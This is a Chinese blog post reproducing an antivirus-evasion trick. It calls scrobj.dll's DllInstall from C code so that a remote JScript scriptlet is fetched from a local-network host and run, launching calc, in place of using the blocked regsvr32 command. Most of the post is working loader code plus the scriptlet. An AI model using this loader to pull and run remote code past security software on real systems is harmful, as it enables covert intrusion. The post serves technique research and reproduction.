regsvr32绕过
前言
regsvr32为白名单,但是面对各种杀软和defender。早已被拦截,虽然可以命令行绕过,但是在看到某文章后决定复现一波
参考链接:regsvr32绕过
复现过程
regsvr32远程下载是调用scrobj.dll里的DllInstall函数实现的下载
IDA分析
API Monitor跟踪这个dll
搜索API关键名称CreateURLMonikerEx,找到函数位置
搜索该函数调用点在sub_1800072D0,符合DllInstall函数调用
调用该函数实现regsvr32实现功能
#include "stdafx.h"
#include <Windows.h>
#define error_print(name){printf("%s,Error Code:%d",GetLastError());exit(1);}
int main()
{
LPCSTR dllpath = "c:\\windows\\system32\\scrobj.dll";
HMODULE load = LoadLibraryA(dllpath);
if (load == NULL) {
error_print("LoadLibraryA");
}
FARPROC getmodule = GetProcAddress(load, "DllInstall");
if (getmodule == NULL) {
error_print("GetProcAddress");
}
((void(*)(BOOL, TCHAR*))getmodule)(FALSE, L"http://192.168.137.227/testx.txt"); //指针函数调用
return 0;
}
testx.txt
<?XML version="1.0"?>
<component id="TESTING">
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var wsc = "WScript.Shell";
var com = "calc";
com.concat(".","e","x","e");
var foo = new ActiveXObject(wsc).Run(com);
]]>
</script>
</registration>
</component>
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:regsvr32绕过
本文作者:九世
发布时间:2021-01-20, 01:46:02
最后更新:2021-01-20, 01:55:02
原始链接:http://jiushill.github.io/posts/b2680e3b.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。